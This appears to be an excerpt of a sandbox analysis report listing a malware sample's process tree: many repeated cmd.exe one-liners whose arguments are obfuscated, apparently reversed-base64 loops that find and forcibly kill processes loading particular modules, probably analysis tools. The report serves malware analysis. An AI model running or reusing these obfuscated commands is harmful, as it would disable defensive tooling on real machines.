  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1228
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5968
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1064
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6064
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4756
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1208
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5012
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1520
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\cmd.exe
